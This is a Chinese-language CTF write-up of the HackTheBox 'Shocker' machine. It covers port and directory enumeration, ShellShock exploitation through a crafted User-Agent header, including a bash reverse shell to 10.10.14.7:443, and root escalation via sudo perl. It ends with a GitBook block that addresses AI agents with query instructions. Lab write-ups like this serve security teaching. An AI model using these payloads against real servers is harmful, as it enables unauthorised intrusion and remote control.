> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Shocker HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**技能：**

* ShellShock 攻击（User-Agent）
* 滥用 Sudoers 权限（Perl）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/60b9b2691d3a61d5e8f11622dc678c4c6b17f908" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/68df40c76c35c71c5fa957aa92942d462b4582ed" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/9531b9b1cbd8cf4051b0cc5d0c0a6dc7bc2d3f18" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板（80,2222）

<figure><img src="/files/484df5ef82dec79a32f1fb5fd7c21a45f7f20303" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/408f5418860ad29cfc1dfd69087a0565a9f73b69" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/f23ec87b17128f37ef81ba7d5590c1777d7653d3" alt=""><figcaption></figcaption></figure>

#### 目录枚举

我们使用 **WFuzz** 以识别可访问的目录：

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/418cfd38d4e3ec077a167b3f06b5c7f19f8880e1" alt=""><figcaption></figcaption></figure>

这揭示了 **cgi-bin** 目录，通常与可利用的脚本相关。

## ShellShock 漏洞

#### 搜索可利用的文件

我们筛选带有如下扩展名的文件 `.sh`, `.pl`，或 `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

该 **user.sh** 文件被识别出来。这个脚本看起来是动态的，可能存在漏洞。

<figure><img src="/files/9f48a4fa374477736d2a7a20c2e4ca3d97579aae" alt=""><figcaption></figcaption></figure>

#### 漏洞检测

我们使用以下 Nmap 脚本来测试该漏洞：

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

扫描确认 **user.sh** 该文件容易受到 ShellShock 攻击。

<figure><img src="/files/4cca4ce55b96274416b0ef9d45c7fda2246738a7" alt=""><figcaption></figcaption></figure>

#### 订单履行

为了测试命令执行，我们使用 **curl** 并带上恶意的 User-Agent：

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

这会返回当前活动用户名。

<figure><img src="/files/8c87ff20496520443267e5499dcadfb9202f1ec7" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

要获取反向 Shell：

1. 监听 443 端口：

```bash
nc -nlvp 443
```

2. 注入以下载荷：

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/b7918dfb738516faf026de192eb6ffa3f52fb5d4" alt=""><figcaption></figcaption></figure></div>

### user.txt 标志 :)

<figure><img src="/files/a702431008984b5048f4c8ec0c36062c8f7e2044" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### Sudoers - Perl

在分析 **Sudoers** 权限时，我们注意到该用户有权执行 `perl` 作为 **root**。可以使用以下命令验证：

```bash
sudo -l 
```

<figure><img src="/files/4ba1c055b20907efe8d06cdfa231f9667c2da1b0" alt=""><figcaption></figcaption></figure>

#### 利用

要利用该配置并获得 root 权限的 shell，只需注入以下命令：

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/fc47d07e1c77e1efe019b369dd69d3320add1f79" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/a4d04f72fdccddee681af051efd0230c8b0ed11c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/684140c1f64ff0031e55c711844c6dfa039ac834" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
